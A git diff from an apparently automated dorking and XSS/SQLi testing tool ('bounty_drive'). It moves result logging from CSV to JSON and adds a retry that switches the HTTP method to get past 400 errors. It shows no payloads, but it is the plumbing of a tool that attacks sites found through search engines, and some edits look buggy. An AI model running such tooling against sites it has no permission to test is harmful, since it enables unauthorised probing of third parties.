     processed_dorks = set()
 
-    if os.path.exists(settings["xss_csv"]):
-        with open(settings["xss_csv"], mode="r", newline="") as file:
-            reader = csv.DictReader(file)
-            for row in reader:
-                processed_dorks.add((row["url"], row["payload"]))
+    if os.path.exists(settings.get("xss_json", "")):
+        with open(settings["xss_json"], mode="r") as file:
+            data = json.load(file)
+            for row in data:
+                processed_dorks.add((row.get("url", ""), row.get("payload", "")))
 
     return processed_dorks
 
 
 def get_links(settings):
     links = set()
-    if os.path.exists(settings["dorking_csv"]):
-        with open(settings["dorking_csv"], mode="r", newline="") as file:
-            reader = csv.DictReader(file)
-            for row in reader:
-                if row["category"] == "xss" and settings["do_xss"]:
-                    links.add(row["url"])
-                elif row["category"] == "sqli" and settings["do_sqli"]:
-                    links.add(row["url"])
+    if os.path.exists(settings.get("dorking_json", "")):
+        with open(settings["dorking_json"], mode="r") as file:
+            data = json.load(file)
+            for row in data:
+                if row.get("category", "") == "xss" and settings.get("do_xss", False):
+                    links.add(row.get("url", ""))
+                elif row.get("category", "") == "sqli" and settings.get(
+                    "do_sqli", False
+                ):
+                    links.add(row.get("url", ""))
     return links
 
 
 def get_xss_links(settings):
     """
-    Reads the experiment CSV file to get the list of XSS-related links.
+    Reads the experiment JSON file to get the list of XSS-related links.
     """
     xss_links = set()
 
-    if os.path.exists(settings["dorking_csv"]):
-        with open(settings["dorking_csv"], mode="r", newline="") as file:
-            reader = csv.DictReader(file)
-            for row in reader:
-                if row["category"] == "xss":
-                    xss_links.add(row["url"])
+    if os.path.exists(settings.get("dorking_json", "")):
+        with open(settings["dorking_json"], mode="r") as file:
+            data = json.load(file)
+            for row in data:
+                if row.get("category", "") == "xss":
+                    xss_links.add(row.get("url", ""))
 
     return xss_links
 
 
 def get_last_processed_ids(settings):
     """
-    Get the last processed dork_id, link_id, and attack_id from the CSV file.
+    Get the last processed dork_id, link_id, and attack_id from the JSON file.
     """
     last_dork_id = 0
     last_link_id = 0
     last_attack_id = 0
 
-    if os.path.exists(settings["dorking_csv"]):
-        with open(settings["dorking_csv"], mode="r", newline="") as file:
-            reader = csv.DictReader(file)
-            for row in reader:
-                last_dork_id = int(row["dork_id"])
-                last_link_id = int(row["link_id"])
-                last_attack_id = int(row["attack_id"])
+    if os.path.exists(settings.get("dorking_json", "")):
+        with open(settings["dorking_json"], mode="r") as file:
+            data = json.load(file)
+            for row in data:
+                last_dork_id = int(row.get("dork_id", 0))
+                last_link_id = int(row.get("link_id", 0))
+                last_attack_id = int(row.get("attack_id", 0))
 
     return last_dork_id, last_link_id, last_attack_id
 
 
 def get_last_processed_crawl_ids(settings):
     """
-    Get the last processed dork_id, link_id, and attack_id from the CSV file.
+    Get the last processed dork_id, link_id, and attack_id from the JSON file.
     """
     last_crawl_id = 0
 
-    if os.path.exists(settings["crawl_csv"]):
-        with open(settings["crawl_csv"], mode="r", newline="") as file:
-            reader = csv.DictReader(file)
-            for row in reader:
-                last_crawl_id = int(row["crawl_id"])
+    if os.path.exists(settings.get("crawl_json", "")):
+        with open(settings["crawl_json"], mode="r") as file:
+            data = json.load(file)
+            for row in data:
+                last_crawl_id = int(row.get("crawl_id", 0))
     return last_crawl_id
 
 
 # Thread-safe addition to results lists
 def save_dorking_query(result, settings):
     """
-    Safely adds results to the single experiment CSV file with tracking IDs.
+    Safely adds results to the single experiment JSON file with tracking IDs.
     """
     dork_id, category, urls, dork = result
     with LOCKS["dorking"]:
-        with open(settings["dorking_csv"], mode="a", newline="") as file:
-            writer = csv.writer(file)
-            _, link_id, last_attack_id = get_last_processed_ids(settings)
-            link_id += 1  # Increment link_id for next link
-            if urls:
-                cprint(
-                    f"Adding {len(urls)} URLs to experiment list...",
-                    "blue",
-                    file=sys.stderr,
-                )
-                for url in urls:
-                    if url and "https://www.google.com/sorry/" not in url:
-                        attack_id = (
-                            last_attack_id  # Start attack_id from 1 for each link
-                        )
-                        row = [
-                            dork_id,
-                            link_id,
-                            attack_id,
-                            category,
-                            url,
-                            dork,
-                            "yes",
-                            "",
-                        ]  # Success and payload columns are initially empty
-                        # if settings["do_dorking_github"] and category == "github":
-                        #     row.append("no")
-                        # if settings["do_sqli"] and category == "sqli":
-                        #     row.append("no")
-                        # if settings["do_xss"] and category == "xss":
-                        #     row.append("no")
-                        writer.writerow(row)
-                        cprint(
-                            f"Added {url} to experiment list under category {category}",
-                            "blue",
-                            file=sys.stderr,
-                        )
-                        attack_id += 1  # Increment attack_id for next attack
-                    else:
-                        cprint(
-                            f"Google blocked us from accessing {url}",
-                            "red",
-                            file=sys.stderr,
-                        )
+        if os.path.exists(settings.get("dorking_json", "")):
+            with open(settings["dorking_json"], mode="r") as file:
+                data = json.load(file)
+        else:
+            data = []
+
+        _, link_id, last_attack_id = get_last_processed_ids(settings)
+        link_id += 1  # Increment link_id for next link
+
+        if urls:
+            cprint(
+                f"Adding {len(urls)} URLs to experiment list...",
+                "blue",
+                file=sys.stderr,
+            )
+            for url in urls:
+                if url and "https://www.google.com/sorry/" not in url:
+                    attack_id = last_attack_id  # Start attack_id from 1 for each link
+                    # Success and payload fields are initially empty
+                    row = {
+                        "dork_id": dork_id,
+                        "link_id": link_id,
+                        "attack_id": attack_id,
+                        "category": category,
+                        "url": url,
+                        "dork": dork,
+                        "success": "yes",
+                        "payload": "",
+                    }
+                    data.append(row)
+                    cprint(
+                        f"Added {url} to experiment list under category {category}",
+                        "blue",
+                        file=sys.stderr,
+                    )
+                    attack_id += 1  # Increment attack_id for next attack
+                else:
+                    cprint(
+                        f"Google blocked us from accessing {url}",
+                        "red",
+                        file=sys.stderr,
+                    )
                 link_id += 1  # Increment link_id for next link
-            else:
-                # Write a row indicating no URLs found for this dork
-                row = [
-                    dork_id,
-                    link_id,
-                    last_attack_id,
-                    category,
-                    "",
-                    dork,
-                    "no",
-                    "",
-                ]  # No URLs found
-                # if settings["do_dorking_github"]:
-                #     row.append("no")
-                # if settings["do_sqli"]:
-                #     row.append("no")
-                # if settings["do_xss"]:
-                #     row.append("no")
-                writer.writerow(row)
-                cprint(f"No URLs found for {category} dorks...", "red", file=sys.stderr)
-
-    # if settings["do_xss"] and category == "xss":
-    #     update_xss_csv(dork_id, link_id, last_attack_id, urls, dork, settings)
-    # if settings["do_sqli"] and category == "sqli":
-    #     update_sqli_csv(dork_id, link_id, last_attack_id, urls, dork, settings)
+        else:
+            # Add a row indicating no URLs found for this dork
+            # No URLs found
+            row = {
+                "dork_id": dork_id,
+                "link_id": link_id,
+                "attack_id": last_attack_id,
+                "category": category,
+                "url": "",
+                "dork": dork,
+                "success": "no",
+                "payload": "",
+            }
+            data.append(row)
+            cprint(f"No URLs found for {category} dorks...", "red", file=sys.stderr)
+
+        with open(settings["dorking_json"], mode="w") as file:
+            json.dump(data, file)
 
 
 def get_crawling_results(settings):
     """
-    Reads the experiment CSV file to get the list of processed dorks.
+    Reads the experiment JSON file to get the list of processed dorks.
     """
     crawling_results = []
 
@@ -273,32 +265,48 @@ def get_crawling_results(settings):
         "\033[97m[~]\033[0m",  # run
     ]
 
-    if os.path.exists(settings["crawl_csv"]):
-        with open(settings["crawl_csv"], mode="r", newline="") as file:
-            reader = csv.DictReader(file)
-            for row in reader:
+    if os.path.exists(settings.get("crawl_json", "")):
+        with open(settings["crawl_json"], mode="r") as file:
+            data = json.load(file)
+            for row in data:
                 cprint(
                     f"Getting {row} to experiment list...",
                     "blue",
                     file=sys.stderr,
                 )
-                dom_parsed = re.sub(r"\\u001b\[93m|\\u001b\[0m", "", str(row["doms"]))
-                dom_parsed = dom_parsed.replace("\\\\\\\\", "\\\\")
+                # dom_parsed = re.sub(r"\\u001b\[93m|\\u001b\[0m", "", str(row.get("doms", "")))
+                # dom_parsed = dom_parsed.replace("\\\\\\\\", "\\\\")
+
+                dom_parsed = row.get("doms", "")
 
                 for color in color_codes:
-                    dom_parsed = dom_parsed.replace(color, "")
+                    for dom in dom_parsed:
+                        if isinstance(dom, str):
+                            dom = dom.replace(color, "")
 
-                forms_parsed = str(row["forms"]).strip("'<>() ").replace("'", '"')
                 cprint(
-                    f"Getting {dom_parsed} & {forms_parsed} to experiment list under category crawl DOM",
+                    f"Getting {dom_parsed}  to experiment list under category crawl DOM",
                     "blue",
                     file=sys.stderr,
                 )
+
+                # dom_parsed = json.loads(dom_parsed)
+
+                forms_parsed = row.get(
+                    "forms", ""
+                )  # str(row.get("forms", "")).strip("'<>() ").replace("'", '"')
+                cprint(
+                    f"Getting {forms_parsed} to experiment list under category crawl DOM",
+                    "blue",
+                    file=sys.stderr,
+                )
+                # forms_parsed = json.loads(forms_parsed)
+
                 crawling_results.append(
                     (
-                        row["seedUrl"],
-                        [] if dom_parsed == "no" else json.loads(dom_parsed),
-                        [] if forms_parsed == "no" else json.loads(forms_parsed),
+                        row.get("seedUrl", ""),  # TODO
+                        dom_parsed,
+                        forms_parsed,
                     )
                 )
 
@@ -307,13 +315,15 @@ def get_crawling_results(settings):
 
 def save_crawling_query(result, settings):
     """
-    Safely adds results to the single experiment CSV file with tracking IDs.
+    Safely adds results to the single experiment JSON file with tracking IDs.
     """
     seedUrl, forms_temps, domURLs_temps = result
     with LOCKS["crawl"]:
-        with open(settings["crawl_csv"], mode="a", newline="") as file:
-            writer = csv.writer(file)
+        with open(settings["crawl_json"], mode="r") as file:
+            data = json.load(file)
             crawl_id = get_last_processed_crawl_ids(settings)
+
+        with open(settings["crawl_json"], mode="w") as file:
             crawl_id += 1  # Increment link_id for next link
             if seedUrl:
                 cprint(
@@ -321,14 +331,14 @@ def save_crawling_query(result, settings):
                     "blue",
                     file=sys.stderr,
                 )
-                row = [
-                    crawl_id,
-                    seedUrl,
-                    "yes",
-                    json.dumps(domURLs_temps),
-                    json.dumps(forms_temps),
-                ]  # Success and payload columns are initially empty
-                writer.writerow(row)
+                row = {
+                    "crawl_id": crawl_id,
+                    "seedUrl": seedUrl,
+                    "success": "yes",
+                    "doms": domURLs_temps,
+                    "forms": forms_temps,
+                }  # Success and payload columns are initially empty
+                data.append(row)
                 cprint(
                     f"Added {domURLs_temps} & {forms_temps} to experiment list under category crawl DOM",
                     "blue",
@@ -336,87 +346,109 @@ def save_crawling_query(result, settings):
                 )
             else:
                 # Write a row indicating no URLs found for this dork
-                row = [
-                    crawl_id,
-                    seedUrl,
-                    "no",
-                    "no",
-                    "no",
-                ]  # No URLs found
-                writer.writerow(row)
+                row = {
+                    "crawl_id": crawl_id,
+                    "seedUrl": seedUrl,
+                    "success": "no",
+                    "doms": "no",
+                    "forms": "no",
+                }  # No URLs found
+                data.append(row)
                 cprint(
                     f"No URLs found for {seedUrl} crawling...", "red", file=sys.stderr
                 )
+            json.dump(data, file)
 
 
-def update_xss_csv(dork_id, link_id, attack_id, urls, dork, settings):
+def update_xss_json(dork_id, link_id, attack_id, urls, dork, settings):
     """
-    Update the XSS CSV file with the results.
+    Update the XSS JSON file with the results.
     """
     with LOCKS["xss"]:
-        with open(settings["xss_csv"], mode="a", newline="") as file:
-            writer = csv.writer(file)
+        with open(settings["xss_json"], mode="r+") as file:
+            data = json.load(file)
+        with open(settings["xss_json"], mode="w") as file:
             for url in urls:
-                row = [
-                    dork_id,
-                    link_id,
-                    attack_id,
-                    url,
-                    dork,
-                    "no",
-                    "",
-                    "no",
-                    "no",
-                    "no",
-                    "no",
-                ]
-                writer.writerow(row)
-
-
-def update_sqli_csv(dork_id, link_id, attack_id, urls, dork, settings):
+                row = {
+                    "dork_id": dork_id,
+                    "link_id": link_id,
+                    "attack_id": attack_id,
+                    "url": url,
+                    "dork": dork,
+                    "success": "no",
+                    "payload": "",
+                    "github_success": "no",
+                    "sqli_success": "no",
+                    "xss_success": "no",
+                }
+                data.append(row)
+            json.dump(data, file)
+
+
+def update_sqli_json(dork_id, link_id, attack_id, urls, dork, settings):
     """
-    Update the SQLi CSV file with the results.
+    Update the SQLi JSON file with the results.
     """
     with LOCKS["sqli"]:
-        with open(settings["sqli_csv"], mode="a", newline="") as file:
-            writer = csv.writer(file)
+        with open(settings["sqli_json"], mode="r+") as file:
+            data = json.load(file)
+        with open(settings["sqli_json"], mode="w") as file:
             for url in urls:
-                row = [dork_id, link_id, attack_id, url, dork, "no", ""]
-                writer.writerow(row)
+                row = {
+                    "dork_id": dork_id,
+                    "link_id": link_id,
+                    "attack_id": attack_id,
+                    "url": url,
+                    "dork": dork,
+                    "success": "no",
+                    "payload": "",
+                }
+                data.append(row)
+            json.dump(data, file)
 
 
 def update_attack_result(
     settings, dork_id, link_id, attack_id, category, success, payload
 ):
     """
-    Update the attack result in the CSV file.
+    Update the attack result in the JSON file.
     """
     rows = []
-    csv_headers = [
-        "dork_id",
-        "link_id",
-        "attack_id",
-        "category",
-        "url",
-        "dork",
-        "success",
-        "payload",
-    ]
-    if settings["do_dorking_github"]:
-        csv_headers.append("github_success")
-    if settings["do_sqli"]:
-        csv_headers.append("sqli_success")
-    if settings["do_xss"]:
-        csv_headers.append("xss_success")
+    if settings.get("do_dorking_github", False):
+        csv_headers = [
+            "dork_id",
+            "link_id",
+            "attack_id",
+            "category",
+            "url",
+            "dork",
+            "success",
+            "payload",
+            "github_success",
+            "sqli_success",
+            "xss_success",
+        ]
+    else:
+        csv_headers = [
+            "dork_id",
+            "link_id",
+            "attack_id",
+            "category",
+            "url",
+            "dork",
+            "success",
+            "payload",
+        ]
 
     with LOCKS["dorking"]:
-        with open(settings["dorking_csv"], mode="r", newline="") as file:
-            reader = csv.DictReader(file)
-            for row in reader:
+        with open(settings["dorking_json"], mode="r") as file:
+            data = json.load(file)
+        with open(settings["dorking_json"], mode="w") as file:
+            for row in data:
                 if (
-                    int(row["dork_id"]) == dork_id
-                    and int(row["link_id"]) == link_id
-                    and int(row["attack_id"]) == attack_id
+                    int(row.get("dork_id", 0)) == dork_id
+                    and int(row.get("link_id", 0)) == link_id
+                    and int(row.get("attack_id", 0)) == attack_id
                 ):
                     row["success"] = "yes" if success else "no"
                     row["payload"] = payload
@@ -428,42 +460,39 @@ def update_attack_result(
                         row["xss_success"] = "yes" if success else "no"
                 rows.append(row)
 
-        with open(settings["dorking_csv"], mode="w", newline="") as file:
-            writer = csv.DictWriter(file, fieldnames=csv_headers)
-            writer.writeheader()
-            writer.writerows(rows)
+        with open(settings["dorking_json"], mode="r+") as file:
+            json.dump(rows, file)
 
-    # Update separate XSS and SQLi CSV files
-    if category == "xss" and "xss_csv" in settings:
-        update_attack_specific_csv(
-            settings["xss_csv"], dork_id, link_id, attack_id, success, payload
+    # Update separate XSS and SQLi JSON files
+    if category == "xss" and "xss_json" in settings:
+        update_attack_specific_json(
+            settings["xss_json"], dork_id, link_id, attack_id, success, payload
         )
-    elif category == "sqli" and "sqli_csv" in settings:
-        update_attack_specific_csv(
-            settings["sqli_csv"], dork_id, link_id, attack_id, success, payload
+    elif category == "sqli" and "sqli_json" in settings:
+        update_attack_specific_json(
+            settings["sqli_json"], dork_id, link_id, attack_id, success, payload
         )
 
 
-def update_attack_specific_csv(
-    csv_file_path, dork_id, link_id, attack_id, success, payload
+def update_attack_specific_json(
+    json_file_path, dork_id, link_id, attack_id, success, payload
 ):
     """
-    Update the specific attack CSV file (XSS or SQLi).
+    Update the specific attack JSON file (XSS or SQLi).
     """
     rows = []
-    with open(csv_file_path, mode="r", newline="") as file:
-        reader = csv.DictReader(file)
-        for row in reader:
+    with open(json_file_path, mode="r") as file:
+        data = json.load(file)
+    with open(json_file_path, mode="w") as file:
+        for row in data:
             if (
-                int(row["dork_id"]) == dork_id
-                and int(row["link_id"]) == link_id
-                and int(row["attack_id"]) == attack_id
+                int(row.get("dork_id", 0)) == dork_id
+                and int(row.get("link_id", 0)) == link_id
+                and int(row.get("attack_id", 0)) == attack_id
             ):
                 row["success"] = "yes" if success else "no"
                 row["payload"] = payload
             rows.append(row)
 
-    with open(csv_file_path, mode="w", newline="") as file:
-        writer = csv.DictWriter(file, fieldnames=reader.fieldnames)
-        writer.writeheader()
-        writer.writerows(rows)
+    with open(json_file_path, mode="r+") as file:
+        json.dump(rows, file)
diff --git a/bounty_drive/reporting/stats_manager.py b/bounty_drive/reporting/stats_manager.py
new file mode 100644
index 0000000..7c7ef7f
--- /dev/null
+++ b/bounty_drive/reporting/stats_manager.py
@@ -0,0 +1,2 @@
+failed_requests = 0
+total_requests = 0
diff --git a/bounty_drive/requester/request_manager.py b/bounty_drive/requester/request_manager.py
index 90b4a2f..4e74276 100644
--- a/bounty_drive/requester/request_manager.py
+++ b/bounty_drive/requester/request_manager.py
@@ -335,7 +335,7 @@ def start_request(
         elif is_json:
             response = requester.post(
                 base_url,
-                json=data[0],
+                json=data[0] if data else {},
                 headers=headers,
                 timeout=config["request_delay"],
                 verify=secured,
@@ -345,7 +345,7 @@ def start_request(
         else:
             response = requester.post(
                 base_url,
-                data=data[0],
+                data=data[0] if data else {},
                 headers=headers,
                 timeout=config["request_delay"],
                 verify=secured,
@@ -363,6 +363,11 @@ def start_request(
             if response.status_code == 429:
                 # delay = random.uniform(LONG_DELAY-5, LONG_DELAY+5)
                 # time.sleep(delay)  # Wait before retrying
+                cprint(
+                    f"Too many requests - Retry after {response.headers.get('Retry-After', 60)} secs ...",
+                    "red",
+                    file=sys.stderr,
+                )
                 retry_after = int(response.headers.get("Retry-After", 60))
                 cprint(
                     f"Retry after {retry_after} secs ...",
@@ -399,6 +404,26 @@ def start_request(
                         file=sys.stderr,
                     )
                     time.sleep(config["waf_delay"])
+            elif response.status_code == 400:
+                cprint(
+                    "400 Bad Request - Trying to bypass ...",
+                    "yellow",
+                    file=sys.stderr,
+                )
+                delay = random.uniform(
+                    config["current_delay"] - 5, config["current_delay"] + 5
+                )
+                time.sleep(delay)
+                response = start_request(
+                    proxies=proxies,
+                    base_url=base_url,
+                    params=params,
+                    headers=headers,
+                    secured=secured,
+                    GET=not GET,  # Switch from GET to POST or vice versa
+                    config=config,
+                    bypassed_403=True,
+                )
             else:
                 cprint(
                     f"Error in {'GET' if GET else 'POST'} request {base_url} with params - {params}/data - {data} ... - status code = {response.status_code}",
diff --git a/requirements.txt b/requirements.txt
index 5a87618..cd916b2 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -17,4 +17,5 @@ numba
 tbb
 types-tqdm
 types-psutil
-types-beautifulsoup4
\ No newline at end of file
+types-beautifulsoup4
+validators
\ No newline at end of file
diff --git a/requirements_pypy.txt b/requirements_pypy.txt
index d417301..1714fd9 100644
--- a/requirements_pypy.txt
+++ b/requirements_pypy.txt
@@ -18,3 +18,4 @@ psutil
 types-beautifulsoup4
 random_user_agent
 types-psutil
+validators
\ No newline at end of file